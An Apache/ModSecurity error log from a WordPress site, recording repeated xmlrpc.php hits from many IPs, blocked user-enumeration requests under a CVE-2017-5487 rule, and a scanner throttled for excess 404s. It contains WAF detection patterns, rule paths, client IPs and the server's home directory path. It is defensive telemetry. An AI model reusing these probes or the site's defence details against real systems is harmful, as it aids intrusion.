[Wed Apr 15 11:29:31.700089 2026] [:error] [pid 51186:tid 51191] [client 103.205.142.28:37474] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8GG1fx1CjK_ZPfY1R_PwAAAUM"]
[Wed Apr 15 11:46:42.937739 2026] [:error] [pid 51186:tid 51207] [client 62.146.172.126:48940] [client 62.146.172.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.146.172.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8KIlfx1CjK_ZPfY1SHxwAAAVM"]
[Wed Apr 15 11:52:17.271464 2026] [:error] [pid 51186:tid 51205] [client 185.199.223.39:60662] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8LcVfx1CjK_ZPfY1SJ4AAAAVE"]
[Wed Apr 15 11:54:43.682711 2026] [:error] [pid 30555:tid 30621] [client 159.203.76.93:35330] [client 159.203.76.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.76.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8MA1TZEITMpQMsOnjaaQAAAIc"]
[Wed Apr 15 11:54:56.341393 2026] [:error] [pid 51186:tid 51212] [client 62.169.19.61:55346] [client 62.169.19.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.19.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8MEFfx1CjK_ZPfY1SK-wAAAVg"]
[Wed Apr 15 11:56:13.473330 2026] [:error] [pid 50234:tid 50254] [client 159.223.61.19:35674] [client 159.223.61.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.61.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8MXdr0cDjH19-BoGzUBAAAARI"]
[Wed Apr 15 11:56:43.501635 2026] [:error] [pid 30555:tid 30636] [client 196.27.114.137:56416] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8Me1TZEITMpQMsOnjaxgAAAJY"]
[Wed Apr 15 11:57:01.833641 2026] [:error] [pid 30553:tid 30572] [client 51.68.74.67:53634] [client 51.68.74.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.68.74.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8MjaWezn1lK_o0Brr-ywAAAA0"]
[Wed Apr 15 11:57:02.244357 2026] [:error] [pid 51186:tid 51207] [client 146.190.84.203:57406] [client 146.190.84.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.84.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8Mjlfx1CjK_ZPfY1SL9AAAAVM"]
[Wed Apr 15 12:07:36.861067 2026] [:error] [pid 30553:tid 30562] [client 5.45.121.230:40818] [client 5.45.121.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.45.121.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8PCKWezn1lK_o0BroARQAAAAM"]
[Wed Apr 15 12:08:59.266033 2026] [:error] [pid 30553:tid 30580] [client 204.48.18.182:54710] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8PW6Wezn1lK_o0BroAbgAAABU"]
[Wed Apr 15 12:09:27.021501 2026] [:error] [pid 30555:tid 30635] [client 16.62.148.104:18919] [client 16.62.148.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 16.62.148.104, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8Pd1TZEITMpQMsOnjdHgAAAJU"]
[Wed Apr 15 12:09:27.030651 2026] [:error] [pid 51186:tid 51208] [client 16.62.148.104:18920] [client 16.62.148.104] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ad8Pd1fx1CjK_ZPfY1SQmwAAAVQ"]
[Wed Apr 15 12:09:37.564456 2026] [:error] [pid 51186:tid 51191] [client 16.62.148.104:19705] [client 16.62.148.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad8PgVfx1CjK_ZPfY1SQ7gAAAUM"]
[Wed Apr 15 12:09:37.583805 2026] [:error] [pid 30554:tid 30587] [client 16.62.148.104:19707] [client 16.62.148.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad8PgV6Jrdy3caXvUkvGAQAAAEA"]
[Wed Apr 15 12:09:37.925931 2026] [:error] [pid 50234:tid 50249] [client 16.62.148.104:19743] [client 16.62.148.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad8Pgdr0cDjH19-BoGzZOAAAAQ0"]
[Wed Apr 15 12:09:38.724697 2026] [:error] [pid 30644:tid 30664] [client 16.62.148.104:19812] [client 16.62.148.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad8Pgq8vuyJ0N41zsM8nTAAAAM4"]
[Wed Apr 15 12:09:38.728041 2026] [:error] [pid 30644:tid 30672] [client 16.62.148.104:19814] [client 16.62.148.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad8Pgq8vuyJ0N41zsM8nTQAAANY"]
[Wed Apr 15 12:09:39.053349 2026] [:error] [pid 30553:tid 30576] [client 16.62.148.104:19841] [client 16.62.148.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad8Pg6Wezn1lK_o0BroAgAAAABE"]
[Wed Apr 15 12:10:58.747552 2026] [:error] [pid 30555:tid 30620] [client 137.184.91.139:53002] [client 137.184.91.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.91.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8P0lTZEITMpQMsOnjdmgAAAIY"]
[Wed Apr 15 12:12:00.078567 2026] [:error] [pid 30555:tid 30621] [client 178.18.249.91:40038] [client 178.18.249.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.249.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8QEFTZEITMpQMsOnjdwQAAAIc"]
[Wed Apr 15 12:12:12.066816 2026] [:error] [pid 51186:tid 51199] [client 157.245.107.90:36000] [client 157.245.107.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.107.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8QHFfx1CjK_ZPfY1SSEwAAAUs"]
[Wed Apr 15 12:15:18.208558 2026] [:error] [pid 50234:tid 50250] [client 217.160.21.65:50908] [client 217.160.21.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.21.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8Q1tr0cDjH19-BoGza9wAAAQ4"]
[Wed Apr 15 12:15:55.448318 2026] [:error] [pid 30644:tid 30673] [client 217.160.39.81:45906] [client 217.160.39.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.39.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8Q-68vuyJ0N41zsM8ooQAAANc"]
[Wed Apr 15 12:16:15.976451 2026] [:error] [pid 30555:tid 30622] [client 213.160.75.126:16664] [client 213.160.75.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.75.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8RD1TZEITMpQMsOnjedwAAAIg"]
[Wed Apr 15 12:16:26.803532 2026] [:error] [pid 50234:tid 50255] [client 185.98.139.110:59462] [client 185.98.139.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8RGtr0cDjH19-BoGzboQAAARM"]
[Wed Apr 15 12:17:04.787607 2026] [:error] [pid 50234:tid 50237] [client 82.223.70.218:57694] [client 82.223.70.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.70.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8RQNr0cDjH19-BoGzcFwAAAQE"]
[Wed Apr 15 12:18:14.111081 2026] [:error] [pid 50234:tid 50251] [client 159.65.249.223:34930] [client 159.65.249.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.249.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8Rhtr0cDjH19-BoGzcdQAAAQ8"]
[Wed Apr 15 12:19:05.357570 2026] [:error] [pid 51186:tid 51195] [client 203.160.171.82:57672] [client 203.160.171.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.160.171.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8RuVfx1CjK_ZPfY1SWYQAAAUc"]
[Wed Apr 15 12:20:56.295472 2026] [:error] [pid 51186:tid 51194] [client 146.190.84.203:55442] [client 146.190.84.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.84.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8SKFfx1CjK_ZPfY1SXtwAAAUY"]
[Wed Apr 15 12:20:59.564093 2026] [:error] [pid 50234:tid 50254] [client 211.169.178.4:34317] [client 211.169.178.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.169.178.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8SK9r0cDjH19-BoGzdUAAAARI"]
[Wed Apr 15 12:21:44.567847 2026] [:error] [pid 30644:tid 30650] [client 203.160.171.82:59861] [client 203.160.171.82] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ad8SWK8vuyJ0N41zsM8qqQAAAMA"]
[Wed Apr 15 12:22:10.477535 2026] [:error] [pid 30555:tid 30629] [client 85.214.144.101:35012] [client 85.214.144.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.144.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8SclTZEITMpQMsOnjfhQAAAI8"]
[Wed Apr 15 12:22:24.266312 2026] [:error] [pid 50234:tid 50249] [client 144.91.86.124:59950] [client 144.91.86.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.86.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8SgNr0cDjH19-BoGzdnwAAAQ0"]
[Wed Apr 15 12:22:56.981020 2026] [:error] [pid 30644:tid 30660] [client 203.160.171.82:60910] [client 203.160.171.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.160.171.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8SoK8vuyJ0N41zsM8qyQAAAMo"]
[Wed Apr 15 12:24:50.532937 2026] [:error] [pid 30644:tid 30653] [client 15.235.224.64:53464] [client 15.235.224.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.224.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8TEq8vuyJ0N41zsM8rdgAAAMM"]
[Wed Apr 15 12:26:47.708286 2026] [:error] [pid 30553:tid 30579] [client 185.41.185.211:60080] [client 185.41.185.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.41.185.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8Th6Wezn1lK_o0BroC3QAAABQ"]
[Wed Apr 15 12:32:27.108022 2026] [:error] [pid 30555:tid 30620] [client 141.95.19.158:40672] [client 141.95.19.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.19.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8U21TZEITMpQMsOnjhrQAAAIY"]
[Wed Apr 15 12:36:58.244551 2026] [:error] [pid 51336:tid 51392] [client 162.19.25.160:39358] [client 162.19.25.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.19.25.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8V6iA5GKzOGqJYFziuzAAAAMA"]
[Wed Apr 15 12:40:03.231883 2026] [:error] [pid 51335:tid 51368] [client 51.210.113.223:43718] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8Wo2H6VkNrooCujtUlqwAAAEM"]
[Wed Apr 15 12:41:49.082362 2026] [:error] [pid 51336:tid 51413] [client 138.2.231.152:54860] [client 138.2.231.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.2.231.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8XDSA5GKzOGqJYFzixOAAAANU"]
[Wed Apr 15 12:41:49.638487 2026] [:error] [pid 51418:tid 51427] [client 141.94.18.111:45214] [client 141.94.18.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.18.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8XDYz0JULdECvE2TD-mQAAAQc"]
[Wed Apr 15 12:42:38.856873 2026] [:error] [pid 51336:tid 51414] [client 194.164.168.219:38582] [client 194.164.168.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.168.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8XPiA5GKzOGqJYFzix1gAAANY"]
[Wed Apr 15 12:44:18.411524 2026] [:error] [pid 51335:tid 51370] [client 109.74.14.122:38706] [client 109.74.14.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.74.14.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8XomH6VkNrooCujtUmmwAAAEU"]
[Wed Apr 15 12:54:15.393064 2026] [:error] [pid 51418:tid 51424] [client 156.67.24.219:44748] [client 156.67.24.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.24.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8Z94z0JULdECvE2TAD7wAAAQQ"]
[Wed Apr 15 12:59:37.227326 2026] [:error] [pid 55165:tid 55187] [client 217.182.82.42:52120] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8bOTXdKxD3nToZ3MgcVAAAAJQ"]
[Wed Apr 15 13:00:06.847750 2026] [:error] [pid 51335:tid 51370] [client 178.62.32.109:41332] [client 178.62.32.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.32.109, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8bVmH6VkNrooCujtUq-AAAAEU"]
[Wed Apr 15 13:00:19.255760 2026] [autoindex:error] [pid 51418:tid 51441] [client 164.68.118.19:52360] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Apr 15 13:03:00.992336 2026] [:error] [pid 11384:tid 11423] [client 66.228.48.175:58704] [client 66.228.48.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.228.48.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8cBHOhpt4MrQIXF7BHXAAAAEE"]
[Wed Apr 15 13:05:45.450050 2026] [:error] [pid 12433:tid 12442] [client 5.189.168.141:49490] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.168.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8cqbwxDHWF005pP_5PtgAAAQc"]
[Wed Apr 15 13:07:09.450640 2026] [:error] [pid 11385:tid 11468] [client 178.62.28.91:38172] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.28.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8c_R_mZoXMMCiUoKUKpwAAANM"]
[Wed Apr 15 13:09:18.216107 2026] [:error] [pid 12396:tid 12401] [client 150.95.26.37:57974] [client 150.95.26.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.95.26.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8dfsCQWGYUWgxc5kjJHAAAAIM"]
[Wed Apr 15 13:10:51.412047 2026] [:error] [pid 11475:tid 11490] [client 96.9.125.116:55882] [client 96.9.125.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.125.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8d257upE98bj816HOjngAAAU0"]
[Wed Apr 15 13:16:06.624252 2026] [:error] [pid 11384:tid 11425] [client 192.206.141.63:35920] [client 192.206.141.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.206.141.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8fFnOhpt4MrQIXF7BNFwAAAEM"]
[Wed Apr 15 13:16:27.060877 2026] [:error] [pid 11384:tid 11423] [client 157.66.27.30:57810] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8fK3Ohpt4MrQIXF7BNPQAAAEE"]
[Wed Apr 15 13:16:58.292353 2026] [:error] [pid 11384:tid 11435] [client 85.128.143.131:60304] [client 85.128.143.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8fSnOhpt4MrQIXF7BNZAAAAE0"]
